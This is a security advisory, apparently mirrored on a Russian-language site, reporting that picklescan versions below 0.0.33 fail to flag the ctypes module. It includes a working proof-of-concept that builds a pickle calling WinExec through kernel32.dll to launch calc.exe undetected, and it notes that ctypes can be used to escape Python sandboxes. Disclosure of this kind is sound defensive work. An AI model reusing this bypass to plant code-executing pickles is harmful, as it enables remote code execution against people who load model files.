GHSA-4675-36f9-wf6r

Опубликовано: 29 дек. 2025

Источник: github

Github: Прошло ревью

CVSS4: 8.9

Описание

Picklescan does not block ctypes

Summary

Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to

Load DLLs
Call C functions directly
Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC

import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}")

This will create a pickle file which is not detected by the latest version of picklescan as malicious

import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb"))

Ссылки

Пакеты

Наименование

picklescan

pip

Затронутые версииВерсия исправления

< 0.0.33

0.0.33

8.9 High

CVSS4

Дефекты

CWE-184

CWE-913

8.9 High

CVSS4

Дефекты

CWE-184

CWE-913